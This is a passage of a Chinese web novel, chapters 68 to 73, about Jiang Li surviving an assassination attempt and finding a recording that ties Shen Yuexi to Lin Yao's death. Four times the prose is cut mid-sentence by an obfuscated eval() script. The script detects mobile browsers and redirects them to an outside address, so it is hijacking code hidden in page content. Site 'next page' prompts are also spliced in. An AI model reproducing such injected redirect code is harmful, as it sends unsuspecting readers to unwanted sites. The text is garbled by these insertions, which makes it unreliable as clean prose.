姜梨的视线顿了顿,脸上没有太多的惊讶,她猜到了。 能拿到这些东西的人必然是司家本家的人,排除法一用下来,也就只有苏菱和司南赫是最有可能把这些东西交给她的人。 “司承德已经在做公关了,司家不会承认这些事情的,反而会泼一盆脏水,是有人看不惯司家,才谋划了这一出戏。”苏菱看了一眼时间,已经没空再去说明其他,直接了当的说出自己约 见姜梨的目的,“光是现在的这些东西还不够,陆临说你跟洛医生很熟,所以我想请姜二小姐去洛医生那里拿到阿南的治疗时的视频记录,他不愿意见我。” 是了,事情已经过去了这么久,当时南诗奕又是火遍大江南北的女明星,这些事情当时一点风声和苗头都没有,现在却突然像发洪水一样被曝了出来。 确实很像是对司家有仇,现在故意搞出这些乱七八糟的东西来蓄意报复。 南诗奕的就诊记录可以说成是p的,那些照片和视频,只要司承德脸皮够厚,也可以说成是假的。 姜梨眸光闪了闪,然后应了下来,“洛医生那边,我会搞定的。” “这几天,不管司承德如何强词夺理,如何颠倒黑白,你都不要管。”苏菱的表情又严肃了不少,“会有人让他翻不了身的。” 第68章 追击!是谁要她的命? 姜梨抿了抿唇,斟酌着问出了那个一直萦绕在自己心里的疑问:“苏阿姨,司家的管家或者是佣人,有没有谁的女儿,名字里带有“愿”字的?” 南诗奕想救的那个人,名字里有个愿。 “愿?还真有一个,以前是阿南身边的一个佣人的孩子,叫时愿。只不过阿南死了以后,原本她身边的人都被老头子给遣走了,这个姑娘现在我也不知道她在哪里。”苏菱说完,奇怪了看了姜梨一眼,不知道她为什么会问出这种问题,“她怎么了吗?” 被遣走了?也就是说这个人现在已经不在司家了? 她对“愿”字其实是有些神经过敏的,尤其是这个人还跟司家挂钩,姜梨一开始甚至怀疑过南诗奕要救的人,就是江淮之嘴里说的那个阿愿。 世界上哪里有那么多的巧合? 姜梨想清楚,突然间就松了一口气,然后摇头:“就偶然间听阿南姐提过一次这个名字,刚刚想起来就随口问一问。” 司承德去了北城,晚上不知道会不会回来,苏菱并不能待得太久。匆忙的从皮包里摸出来一部被塑料膜包裹的手机和一张名片,递给姜梨,“这是阿南生前的手机,里面的东西应该对你挺重要,现在还给你,留个念想。” “拿到诊疗视频第一时间联系我。” 姜梨小心翼翼的将手机放进了外套口袋,跟苏菱道了别,和陆临一起走出了咖啡馆。 现在这个时节,五点的天色已经彻底黑了下来,行人稀少,昏黄的路灯点亮,有些萧索。 “愣着干嘛?上车。”陆临直接拉开了副驾驶的车门,“送你回去。” 姜梨搓了搓手心,犹豫了一下,最终还是上了车。 这段时间江淮之都不在樱洲,沈叙随时都有可能会动手,她的确不适合一个人在外面游荡。 还有,要想办法从洛骞那里拿到诊疗视频也不是一件容易的事,这个人的脑子构造很正常人不一样,循规蹈矩,倔的跟驴一样。 职业素养也是出奇的好,就算是南诗奕已经死了,就算是为了给她报仇,洛骞都一定不会把病人的隐私给抖出来。 只能她自己去偷了。 “陆四少。”姜梨看向了旁边的男人,笑眯眯开口:“帮个忙呗?” 陆临一只手控制着方向盘,一只手摸出手机解锁,调出二维码后直接把手机扔到了姜梨怀里,“加上再说。” 姜梨这下对他倒是没有了防备心,快速的扫码,点添加好友,打备注。 屏幕顶部突然跳出来一条新闻,姜梨的笑一瞬间就僵在了脸上。 #北城太子爷江淮之高调护妻,公然怒怼司二爷,司家老少皆欠风流债# 这是什么意思? 姜梨的指尖微微泛白,点了进去。 文章的开头就是一句加粗,让人难以忽视的字体。 “时愿,是这个世界上,最重要的女孩。” 大篇的文章她已经看不进去了,只看到穿插在文章里的配图,混乱不堪的北城司氏公司门口,江淮之的怀里,抱了一个女人。 黑色的外套盖在她身上,将她完全遮挡。江淮之的白衬衫上,沾染上了不少血迹。他低着头,看不清他脸上的表情。 仅这张照片来看,他的动作也是百般温柔,像是在捧着一件最珍贵的珍宝。 不死心的来回滑动,姜梨又逼着自己从头到尾将文章看了一遍。 越看,心就越凉。 越看,心口就觉得在被人一点点的撕开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293857|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尖锐的痛让她差点控制不住掉眼泪。 越看,就越觉得自己是个蠢货。 时愿是被司老爷藏到了江城,日复一日的对她施以折磨,现在他死了才得以逃脱。 小时候和江淮之在司家老宅相识,后又在江城重逢,她被父家暴,江淮之出手相助,救了她的性命。 兜兜转转还是你,有缘人终会相见。 心里那点残存的侥幸彻底被击溃。 是啊,世上哪有那么多的巧合?时愿在司家待过,她就是江淮之的那个白月光,就是他嘴里喊着的阿愿。 还有视频,姜梨已经不敢再去看了,光是看文字就已经够痛了,她甚至都不用想,就知道视频里的内容会是什么。 是他亲口对着一众记者说:“时愿,是这个世界上最重要的女孩。” “我只爱你一个。” 这样的话,他对她说过好多次。 骗子,骗子! 正当她陷进情绪里的时候,陆临突然眼神一凛,踩下刹车,猛打了一下方向盘,整个车身甩了一下,来了一个完美的漂移。 陆临放在姜梨怀里的手机也因为这样的变故被甩了出去,发出一声沉闷的响。 姜梨的右肩也猛的撞到了车门上,表情扭曲了一下,然后扭头看向窗外,心骤然沉了下去。 一辆黑车横在了他们的前面,拦住了去路。 是谁?!是沈叙? 不,不是沈叙!如果是沈叙,那个男人怎么可能会不提前通知她? 那是谁?! “坐稳了!”陆临反应迅速,停了三秒,立刻踩下油门,往反方向开了出去。 这章没有结束,请 点击下一页继续阅读! 第69章 你欺骗我了吗 姜梨坐上越野车后,身体彻底瘫软,大口大口的喘着粗气,惨白的脸显得那几道血痕更为狰狞。 谢鹤扬将油门踩到底,还不忘吐槽:“上次是我,这次是陆四少,你还真是吸仇。” 姜梨的后背都已经被汗水浸湿,衣服湿哒哒的贴在脊背上,冷的全身都在抖,喉咙干涩的生疼,哪里还能跟他打嘴炮。 陆临听到谢鹤扬的这番话,眉梢微微扬了一下。 谢鹤扬没听到姜梨的声音,扭头看了她一眼,原本想要揶揄她的两句话瞬间堵在了嗓子眼里。 姜梨此时没有半点装白兔的虚伪痕迹,是真的被吓到了。 那颗子弹就这样弹在车窗上,离她那么近,差一点点运气她现在都已经命丧黄泉了。 被玻璃划破的血痕不算浅,这会还在往外冒血,姜梨现在才感觉到痛,抽了两口冷气。 谢鹤扬车开得很快,表情也是难得的严肃和冷凝,额头上出了一层薄汗,腾出手从兜里摸出来一方丝巾手帕递给姜梨,“擦一擦。” 丝巾是浅紫色的,上面绣着紫色的梅花,非常女气。 姜梨看着那条手帕,颤抖着手接了过来,毫不客气的擦着脸上和手上的血,真丝手帕被染的血迹斑斑。 然后开口,嗓子沙哑:“你们怎么会突然冲出来,我刚刚都已经想好自己要埋哪里了。还有,陆七和叶辞怎么办?” “呵。”谢鹤扬不知道想到什么,扯唇笑了一声,“陆七和叶辞命大着呢,至于我们为什么突然冲出来……问你自己啊。” 姜梨皱眉,满脸不解。 “你的一个朋友,也不知道哪来的本事弄到了我的联系方式,开口就跟我说沈三小姐要杀你,让我赶紧来救你。” 谢鹤扬见陆临在场,没有直接说那个人是姜梨安排在沈家的女佣,但是姜梨听的明白,这个通风报信的人,的确是她安排在沈家打探消息的,所以心里就更觉得疑惑了。 沈月汐要杀她?是因为上次在酒吧的那件事吗? 那也不可能,沈月汐虽然蠢,但是也不至于为了这种小事就想要她的命。沈月汐现在最害怕的事情只有一个,那就是林遥的事情…… 突然,姜梨摸到了外套里从苏菱那里拿到的那部手机。 不断的翻出久远的记忆,姜梨的瞳孔突然猛缩了一下,心里有了一个极其大胆的猜测。 越野车还在疾驰,即将到达道路尽头时,谢鹤扬看到了前方停了一辆救护车以及闪着车灯的库里南,两道修长的身影站在车边。 谢鹤扬眸子微微眯了眯,看清楚人脸后放缓了速度,车子停了下来。 陆临和谢辞一前一后下车,姜梨却迟迟都没有动作。 透过挡风玻璃,她能看到站在车边的两个人是叶止和江淮之。 身形颀长,闪烁的车灯让姜梨眼中他那张模糊的脸变得无比的清晰,也看清了他脸上的表情。 是极致的冷,她从未见过的,像极地冰川那样的冷。 他身上穿的还是在新闻照片上的那件带了血的白衬衫,衬衫领口有些凌乱,可以看到脖子上的一圈牙印。衣服上印的血迹已经开始氧化,隐约间有些发黑。 好脏,好刺眼。 几个小时前还在北城的人,现在又出现在了樱洲。那他的那位白月光也被他带回来了吗?在车里? 姜梨突然觉得闷的慌,胃里一阵灼烧绞痛,她赶紧跑下车,扶着路边的树干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293858|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹲下来,连着干呕了好几下,什么都没吐出来。 寒风直往领口灌,冷的她嘶嘶抽气,牙齿都在打颤,本就凌乱的黑发又被吹乱了几分,几根发丝黏在了泛白干裂的唇上。 江淮之从车里拿了一条崭新的毯子盖在了她身上,拉着她的胳膊将她从地上拽起来,接着就要把她往他怀里带。 这一刻,姜梨的脑子里都是那张照片上的画面。她忍不住的想,江淮之的这双手抱过那个女人,就连他的身上,也都已经染上了那个女人的鲜血,有那个女人的味道。 姜梨大力的挣脱开他的桎梏,然后一连后退了好几步,对他冷声道:“别碰我,我不要和你走。” 江淮之对于她的抗拒并没有意外,一双漆黑深邃的凤眼直直的盯着姜梨,“你现在需要去医院。” 昨天还在和她抵死缠绵,今天就对着那位叫时愿的女人高调表白,然后又若无其事的站在她面前,说着关心她的话。 他到底,把她当什么了?仗着她喜欢他,就可以随意欺骗吗? 姜梨强忍着要夺眶而出的眼泪,扯出来一抹笑,“我不是没长手和脚,我自己会去,这点小事情不用你来操心。” 江淮之的太阳穴“突突”的跳,处理那些污糟新闻的时候都没疼的脑袋,现在倒是痛的要裂开,刚缓和的脸色又阴沉下来。 几个人站在一起,气氛莫名的有些诡异。 谢鹤扬更是觉得姜梨对江淮之的态度很奇怪,不像妹妹在跟哥哥吵架,倒像是女朋友在跟男朋友闹矛盾。 这时叶辞和陆七他们也回来了,越野车带起尘土,停了下来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第70章 沈月汐害死林遥的口证 江淮之凭什么认为她每一次委屈过后都会听他的解释?凭什么认为她会一次两次的原谅他?她又凭什么要听他不知道是真是假的解释? 在楚云眼里,沈月汐和沈家比她更重要,她可以为了前面两者,毫不犹豫的牺牲她。 在姜祈安眼里,工作也比她重要,忙到把她丢在港城两年不管不问,现在又留她孤零零的一个人活在世上,整天都在担心沈叙会杀了她。 在江淮之眼里,时愿比她重要。说爱她,现在却毫不犹豫的选了别人。 她从头到尾,都不是这些人的第一选择,是一个随时都可以被他们牺牲掉的一个牺牲品。 姜梨站在原地一动不动,好似一颗珍珠顷刻之间失去了所有的光彩,变得无比灰暗。 瘦弱的肩膀颓然的塌了下来,眼帘低垂,敛去一半死寂沉沉的眸。 心底一遍一遍的重复。 算了,算了。 叶辞看着她,心口像被针扎了一下,很疼。 姜梨有多喜欢江淮之,他是清楚的。那篇新闻,叶辞也看了,连联姻关系都没有确定下来的傅绾,以及那个助理,她都会生闷气。 又更何况是白月光呢? 他上前几步,手掌轻轻的搭在她的发顶揉了一下,扫了一下现场的几个人,故意说:“脸上的伤都不管就在这行仗义,傅绾知道你这么替她鸣不平吗?” 姜梨深吸了一口气,抬头看着他,又去看叶止,然后蹦出来一句:“今天这事要报警吗?我需要配合去警局做笔录吗?死掉的那些人怎么办?” 思维极其跳脱,情绪转变快的离谱。 “这些事你就不用管了。”叶止看了一眼简清时,对他使了一个眼色,“带她去医院吧。” 简清时带着阮经颜和姜梨来了附近最近的一家医院,挂了急诊。 两个人进了诊室,他坐在外面等。 消毒水混着药水的气味在鼻尖蔓延,侧脸和手背都贴上了白色的纱布。 “三天换一次药,不要碰水。” 姜梨坐在椅子上,低着眼一声不吭,也不知道医生说的话她有没有听进去。 想到刚刚给她右肩莫药油的时候,她看到的姜梨身上那些交错的痕迹,还是忍不住提醒了一句:“年轻人要爱惜身体,切勿纵欲过度。” 一边站着的阮经颜不自然的轻咳了一声。 真不怪医生大惊小怪,实在是那些印记在姜梨的身上过于密集,光是看一眼都觉得粗暴。再对比她瘦弱体格,阮经颜都忍不住在心里骂江淮之畜生。 姜梨:“………” 她本来就够烦了,现在更是烦躁的想死。 重新回到车上,姜梨没骨头似的瘫软下来,靠在了阮经颜的身上,好似灵魂都被抽了出来,身心俱疲,头晕脑胀。 她对着简清时有气无力的说了一句:“麻烦你送我回学校吧。” 简清时犹豫了几秒,然后应了一声。 现在是个时候,他不能听江淮之的把姜梨送回秋水湾,姜梨和阮经颜两个人非得弄死他。 人各有命,富贵在天。 江淮之还是自己自求多福吧! —— 宿舍里许雾还在网上冲浪,司家的新闻一条接着一条,看得她是一次比一次震惊。 听到动静,扭头看过去,然后惊叫了一声:“我靠!你这是怎么了?” 今天白天还是好端端的人,现在白着一张脸,还带着伤走了进来。 姜梨无所谓的摆了摆手,“走路没长眼,刮树枝上了。” 许雾嘴角抽搐了一下,“伤的重吗?” “不重。”姜梨一边回答她的话,一边从口袋里摸出来南诗奕的手机开机,找出来耳机塞进了耳朵里。 动作很急切,还隐约间在发抖。 许雾见她真的没太大问题,也就没有一直询问,继续刷着手机上铺天盖地的新闻,想到姜梨和江淮之的关系,她问了一句:“新闻你看了吗?那个叫时愿的真的是江总的前女友吗?” 姜梨的手顿了一下,不用想也知道新闻是怎么写的,词条已经从白月光变成了前女友了,江淮之也没出来否认。 甩了甩脑袋,把多余的情绪甩出去,姜梨回了她一句:“不太清楚,我没怎么看新闻。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293859|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在不是为情所伤感的时候,她还有更重要的事情要做。 南诗奕的手机没有设置密码,姜梨很轻松的解开锁屏,点进相册里,开始认真的查看一张一张的照片以及存在里面的几百个录频。 南诗奕应该是特意清理过手机里的东西,所有的app都被删的干干净净,就连相册里所有的视频和照片,都是关于姜梨一个人的。 那些快被时间冲淡的记忆因为这些照片和视频,再一次变得深刻起来,越往后看,姜梨的眼睛就越发的红。 看着生动的画面,心口越来越沉痛,几乎要将她撕裂。 时间来到了晚上十点,姜梨也看到了手机里的最后一个视频。 是姜梨高一那年的秋季运动会,南诗奕作为她的“家长”来北城一中的那一次。 手机镜头牢牢的锁定在站在跑道上的姜梨身上,南诗奕喊了她一声, 给她加油。 一开始都很正常,但是中途的时候,姜梨听到了另外两道突兀的声音。 “我昨晚在学校门口看到了一个超级恐怖的人,阴森森的,魂都要给我吓丢了……” “那个人是林遥的哥哥,因为强奸猥亵未成年坐了牢,这几天刚从江城的监狱里出来。”沈月汐的声音透过耳机传进姜梨的耳朵里。 “卧槽!真的假的?你是怎么知道的?” 沈月汐压低声音:“怎么不是真的?林遥是我家的资助生,她这个哥哥还是我妈亲自接出来的。” “我去,你妈怎么会把他弄到北城来啊!好可怕!” 沈月汐似是轻笑了一下,语气里带着极浓的怨毒:“哥哥想妹妹很难让人不动容,我看他可怜,就告诉他说林遥在北城,他就自己跑来了。” 她说出来的话,像一记闷棍,重重的敲在了姜梨的头上,一下又一下,几乎要让她昏厥。 姜梨一直怀疑的事情,在这段录频里,从沈月汐的嘴里,轻轻松松的说了出来,丝毫不觉得这样会害死林遥,毫无怜悯愧疚之心。 林宴就是沈月汐和楚云引过来的! 她们为什么要这么做!为什么被火烧死的不是她们! 第71章 踩到了江淮之的逆鳞 录频还在播放,里面的声音不断钻进姜梨的耳朵,像来自地狱里,恶魔的声音。 “林遥他哥要找她也应该去二中啊,来我们一中做什么?” 沈月汐冷笑了一声:“不知道呢,可能是有什么仙女勾了他的魂。” “姜梨!加油!” 录频的画面晃了一下,然后到这里就结束了。 沈月汐做贼心虚,被南诗奕突然喊的一声给吓到了,也看到了南诗奕在录频,才会故意打掉她的手机。 一切都有迹可循,一切都说得通。 南诗奕在那天确实跟她说不要随便乱出校门,要注意安全。那天南诗奕回去的路上就遭遇了抢劫,那些歹徒不要钱也不要金银首饰,只盯着她的手机。 要不是南诗奕那天带了助理和保镖,她的后果就会和林遥一样。 那一天她戴着口罩和帽子,沈月汐没有认出她是南诗奕,以为只是一个跟姜梨认识的普通朋友,再加上南诗奕后来自杀,再也没有出现过,沈月汐就没有再去追查。 这几天姜梨亲手曝光的那些南诗奕以前的旧照里,就有关于这一场秋季运动会的一张合照,沈月汐这才知道那个人是南诗奕。 她这是推断出来姜梨和南诗奕的关系匪浅,也知道这几天接二连三曝出来的东西都是姜梨的手笔,害怕她手里有这段录频,才会一直找人跟踪她,正好发现了苏菱给她的这一部手机,才会迫不及待的要下手。 姜梨找出数据线,将这段录频导进了电脑,又将音频提取了出来,传进了微信里。 她突然想到了高二那一年里林遥极其反常的行为,比如一直都在用各种理由和借口不让她回家,也一直都在用快高考了,她很忙这个理由不肯和她见面。 只是为了不拖累她。 一切的始作俑者,都是楚云和沈月汐这两个畜生。 电脑上的白光打在她的脸上,那双好看的桃花眼越来越清寒,泛冷,腾腾杀气弥漫。 “司家前前任家主辟谣了,说南诗奕和司南赫的事情是假的,照片视频什么的都是假的!已经给造谣者寄律师函了。”许雾看着新跳出来的词条,再一次被震惊到了,“现在p图换脸技术这么好吗?照片就不说了,连视频都看不出来一点p过的痕迹……” 律师函?他们连发帖的人ip地址都没查出来,还扯到寄律师函的问题了?寄到地狱里给阎王爷吗? 姜梨摸出来手机,刷着这一篇报道,然后滑到了评论区。 “我就说这一眼假的东西怎么能信?人都死多久了才曝出来?” “爆料的人应该就是照片上那个被打了码的第三人吧?没准就是他自己p的,想讹钱。” “坐等司家在记者发布会上把这个造谣者抓出来,让法律制裁他!” “司家都没说人家讹钱,你倒是叫上了,你是谁请来的水军?只能说,北城司家的实力大家都有目共睹,我今天也见识到了,这个公关也是够厉害的,也够不要脸。” “他们家本来就乱,现在的家主以前不也传出来说是私生子吗?这就足以说明司承德也不是什么好东西,接连被曝风流事,老的看不上人家白月光还故意把人藏起来,也是恶心的透透的。小的一个去逼迫自己的养姐,另一个跟自己的助理不清不楚,没有一个好东西!” “楼上很中肯,还是等着子弹飞一会吧!” 几秒钟以后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293860|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜梨眼睁睁的看着这几条评论凭空消失。 接下来的评论区都是司家水军的聚集地,把所有的锅都甩到了一个死人身上。稍微有人站出来说几句踩司家的话就会被喷的体无完肤,然后就会被删评。 她被这个操作给逗笑了,眼角都泛起了泪花,肩膀难以控制的颤抖,扯到上面的某一处,又疼的龇牙咧嘴。 又哭又笑,不知道的还以为她中邪了。 缓了缓心续,姜梨点进陆临的头像,给他发去了一条信息。 —— 樱洲司家老宅。 所有佣人都被带到了佣人房,整栋别墅今天格外的阴沉诡异。 客厅里灯火通明,却有些死气沉沉。 苏菱坐在沙发上,她的身边还坐着一位身形瘦弱的年轻女人。 及肩的短发半湿,一张脸惨白如纸,头埋的极低。带着血的脏衣服已经换了下来,身上的各种伤口也都已经让家庭医生处理干净了。 也不知道是因为身上触目惊心的伤口太疼,还是因为被关进禁闭室受到了惊吓,她的身体都在微微颤栗。 苏菱看着时愿,眼神里带着几分不忍,但更多的还是探究和震惊。 她没想到时愿居然跟江淮之认识,还有一段过命的交情,还因为这个原因被司老头关在江城折磨了那么多年。 “逆子!你看看司家现在都已经乱成什么样了!你爷爷刚死,遗体刚送回来。你身为司家的家主,司氏的总裁!不着手办理丧事,这些丑闻一条接着一条,也不做公关,不压新闻!脑子里想的全是这些无用的儿女情长!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第72章 所有苦他一个人扛就够了 恍惚间,江淮之高大的身影渐渐和一位少年重合。 司承德再一次看到了阴冷又偏执,病态又暴戾,少年时的江淮之。 他跌坐到身后的沙发上,被岁月侵蚀的那张脸上还带着没有完全褪下去的怒意,但却不敢再在江淮之面前说一个“不”字。 “后天的记者发布会照常召开,随你高兴。”江淮之踩着地上的碎瓷片,发出“咔嚓”的声响,“时愿就待在樱洲的老宅,我不会把她带在身边,也不会娶她。但是如果有佣人苛责她,或者是家里旁系的人为难她,我都会把这种错误算在你头上。” “还有。”他抬起眼皮,居高临下的看着司承德,脸上的神色如同千年寒冰,“你在公司里安排的所有人我都会调走,包括三叔。” 司承德猛的抬头,难以置信的看着江淮之,嘴唇嗫嚅了几下,却说不出话,也不敢说。 这是江淮之给他的通牒,不允许他再插手公司的事情,要将他的势力彻底从司氏剥离出去。 司家的这些人做出来的这些事,江淮之已经忍的够久了,现在逮到机会,哪里会继续容忍他们兴风作浪? “淮之!”眼看江淮之要开门离开,司承德鼓足勇气喊了他一声,然后问:“司傅两家联姻的事情,还作数吗?” “呵。”江淮之的唇边扬起一抹淡淡的弧度,自胸腔发出一声轻笑,“父亲给司家挑了一个同舟共济,不离不弃,生死相随的好姑娘。傅家这么好的亲家,我怎么可能会推掉?” 说完不再停留,拉开门走了出去。 司承德则是微微松了一口气。 还好,江淮之还没有疯魔到一定要给时愿一个体面的身份,他还愿意娶傅绾。 司家绝对不能再出第二个司南赫,就算放弃家主身份也要去娶一个没有身份的女人。 他只有司南赫和江淮之两个儿子,江淮之无疑比任何人都要优秀,是一个无可挑剔的继承人,他绝对不能自毁前程。 司家绝对不能落到其他人手里。 ……… 江淮之从书房里出来,看向坐在沙发上的人,眼睛微微眯了眯,开口:“菱姨,麻烦你等下通知管家,给时小姐单独在小楼安排房间,她以后住在老宅。” 苏菱愣了一下,她知道江淮之说的小楼,是司家的偏宅,已经很久没有住人了。 他要让时愿住在那种地方? 也就是说江淮之不仅不会娶她,连个像样的身份都不给她吗? 果然,有什么样的爹就有什么样的儿子,一样是个风流不负责任的主。 心里虽然是这么想,但是苏菱还是恭敬的回答:“好的,我现在就去安排。” 江淮之没有下楼,而是回了自己的房间。快速的冲了个澡,换了一身干净的衣服,那件沾了时愿血迹的衣服则是被他扔进了垃圾桶。 摸出手机,看着简清时发过来几张照片和一长串语音,耐心的点开查看。 “除了脸上和手背上的割伤稍微有点严重以外,都是一些轻微的擦伤,全身上下没有一根骨头错位,你就放一百个心吧。” “姜梨不愿意回秋水湾,我已经把她送回樱大了。小姑娘的身体是没有多大问题,但是不代表心理没问题,你自己自求多福吧!” 江淮之没有回复,随手把手机扔在了床上,抽出一根烟咬在嘴里,没有点燃,开始整理思绪。 这个冒牌货是突然出现在江城分公司门口的,他也让谢铭去查了,司老爷囚禁她是事实,她是自己逃出来的也是事实,没有一句假话。 知道“时愿”这个名字就已经够恐怖了,尤其是这个女人不仅长得跟姜梨很像,甚至还知道不少他们以前的事情。 就算是江淮之,在那一刻都少见的慌了一下,要不是陆七在场,他真想当场就把这个女人弄死。 那个在背后操作的人,见过小时候的姜梨。而且很有可能就是沈叙的幕后老大,那个隐藏了许久的大毒枭。 他挑在这种时候,突然给他送这么大一份礼,冒着暴露身份的危险,显然不只是为了警告和威胁。 他知道姜梨和他的关系了,所以迫不及待的想要姜梨和他生出嫌隙。 为的什么,不言而喻。 妹妹这段时间见过的人不多,和他共同认识的人也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293861|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么几个。 沈旭和楚卿然,陆临和司南衍,还有谢家兄弟,以及眼部受到重创,至今都没有复明的司南泽。 理智渐渐被吞没,江淮之压根儿没办法再转动脑子去思考问题,也不想再去一个一个的查,做排除法,他现在只想让这些人全部都消失。 被一个毒贩盯上,实在是太危险。 有一句话是怎么说的来着?宁可错杀一千,也不能放过一个。 他不是姜祈安,身上没有任何重担,也没有什么道德感和正义感,其他人的死活跟他又有什么关系? 他从头到尾,都只想要姜梨一个人而已。 想着想着,脑海里慢慢就浮现出她的身影,那双好看清冷的桃花眼,倔强着盯着他,一字一句地问:“你欺骗我了吗?” 只有天知道他当时有多想不管不顾,脑子里只盘旋着一个想法—— 把她抓进怀里,告诉她所有的真相,然后往死里吻她。最后再把她锁起来,关在秋水湾。 谁都别想接近她,谁都别想触碰她,谁都威胁不到她。 让姜梨只待在属于他的领地里,只让他一个人看,只属于他一个人,就这样和他厮守一辈子。 但是如果真的这样做了,姜梨会不高兴。 她是向往自由的精灵,哪怕是他打造出全世界最漂亮、最梦幻的牢笼,她也还是会害怕,会不顾一切,想方设法的从他身边逃走。 年纪太小,又那么娇。 真相对于她来说,实在过于残忍。妹妹会自责,会崩溃,会痛苦,会掉眼泪。 甚至会消失。 让他怎么敢就这样把血淋淋的真相说出来?又怎么忍心? 她以前已经够苦了。 那些阴暗的,肮脏的东西,他一个人扛就够了,姜梨什么都不用再管。 强压下快要失控的情绪,强迫自己慢慢的冷静下来。 江淮之点燃烟,吸了一口,吐出雾蓝色的烟雾,看向窗外的浓浓夜色。 还有一个沈月汐,胆大包天,敢雇凶来杀她。 一个两个都把他当成活菩萨了吗? 第73章 气死人不偿命 北城姜氏的总裁办公室里。 沈月汐顶着一头乱成鸡窝似的头发,瑟瑟发抖的跪在楚云的面前。她的脸色苍白,一双眼睛里都是惊恐和不安,眼泪糊了满脸。 楚云恨铁不成钢的瞪着她,一张脸因为极致的怒意而有些扭曲,声音尖利的怒骂:“我怎么会生出你这么个蠢东西!居然敢这样明目张胆的用我的名义雇凶杀人!我上次跟你说过的话你忘记了吗?啊!?” 沈月汐被楚云的这一声怒骂吓得浑身一抖,急切的开始辩解:“那个在学校里录过视频的人是南诗奕,她和姜梨认识!” “她手里有我亲口承认林宴是我引过去的视频!我这几天一直都在找人跟踪姜梨,亲眼看见南诗奕的遗物被苏菱交给了姜梨,她肯定已经知道了,也肯定不会放过我,我一心急就……” 这一番话更是让楚云气得两眼一黑,差点一口气没提上来,抬起手,狠狠打在了沈月汐的脸上,“你要是默不作声,姜梨估计都不会发现这档子事!你搞这么一出,她不怀疑都是见鬼!” 真是气死她了!天底下怎么会有这么蠢的人!还偏偏是从她肚子里生出来的! 沈月汐被打的眼冒金星,半边身体趴在了地上,哭得更加厉害,“我………我以为她不会怀疑我的,我没有露出任何风声,私家侦探也没有被人起疑,她不会知道是我的……她怎么可能知道是我?” “一整个北城都是江淮之的地盘,你这点小动作能逃得过他的眼睛吗?”楚云气得头发都要竖起来了,抄起桌子上的一本蓝色文件夹,狠狠扔在了沈月汐的身上,“你自己看看!就因为你干的这件蠢事,江淮之已经开始对姜氏进行打压,势在必得的西郊的项目也被顶掉了!” 楚云就指着这个项目让姜氏更上一层楼,让她在沈家彻底站稳脚跟,然后好压制、制衡沈叙这头狼崽子,免得他实力太盛,把沈家一口吞进肚子里。 好不容易用姜梨当筹码从江淮之那里换到了,现在又因为沈月汐干出来的这件蠢事,煮熟的鸭子就这么飞走了,她能不气吗? 气得肺都要炸了! “妈!我真的没有露出马脚!我没有任何谋划,我是看到私家侦探传过来的照片太害怕了,才临时起意这么做的!”沈月汐哭得上气不接下气,白皙的脸上都是鲜红的巴掌印,撑着身体爬起来,抓住楚云的衣摆,“一定……一定是家里有人通风报信的,一定是有奸细!” 沈月汐忍不住想起高二那一年,她只不过是用死猫吓了姜梨,江淮之就大半夜闯进她房间喂她死老鼠的事情。 她实在没想到,平日里最是温和的江淮之,居然能做出来那种事情!就像是突然之间变了一个人一样! 简直就是一个疯子! 